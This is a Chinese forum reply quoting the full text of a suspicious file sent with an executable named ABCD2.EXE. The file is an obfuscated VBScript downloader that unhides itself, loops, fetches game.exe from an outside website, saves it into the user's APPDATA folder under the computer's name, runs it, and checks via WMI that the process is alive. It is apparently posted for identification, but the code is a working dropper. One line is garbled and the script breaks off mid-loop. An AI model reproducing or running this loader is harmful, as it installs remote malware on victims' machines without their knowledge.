回复: networkedition 让我传来的ABCD2.EXE和日记的
以下内容:On Error Resume Next
set ws2=createobject("wscript.shell")
SYSTEMROOT=Ws2.Environment("process")("APPDATA")
set wenv=ws2.environment("process")
pcnames=wenv("computername")
if pcnames="" then
name="mstsc"
else
name=pcnames
end if
set ws2=nothing
Set WshShell = WScript.CreateObject("WScript.Shell")
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFile = objFSO.GetFile(wscript.scriptfullname)
If objFile.Attributes = objFile.Attributes AND 2 Then
objFile.Attributes = objFile.Attributes XOR 2
End If
Do
Set fso = CreateObject("Scripting.FileSystemObject")
If fso.FileExists(""&SYSTEMROOT&"\"&name&".exe") Then
Else
Set xxxx = CreateObject("Mic"&"rosoft.XM"&"L"&"HTTP")
with xxxx
.Open "GET","
http://www.turuan.net/down/game.exe",0.Send()
end with
Set szy = CreateObject("AD"&"ODB.St"&"r"&"eam")
with szy
.type = eval("1")
.Mode = eval("3")
.open()
.write eval("xxxx.res"&"po"&"nse"&"Bod"&"y")
.SaveToFile ""&SYSTEMROOT&"\"&name&".exe",eval ("2")
end with
WshShell.Run (""""&SYSTEMROOT&"\"&name&".exe""")
End If
Set fso = Nothing
pr&name&".exe"
set wmi=getobject("winmgmts:{impersonationlevel=impersonate}\\.\root\cimv2")
set procs=wmi.execquery("select * from win32_process")
flag=true
for each proc in procs
if strcomp(proc.name,proname)=0 then
flag=false
exit for
end if

附件:
您所在的用户组无法下载或查看附件
附件:
您所在的用户组无法下载或查看附件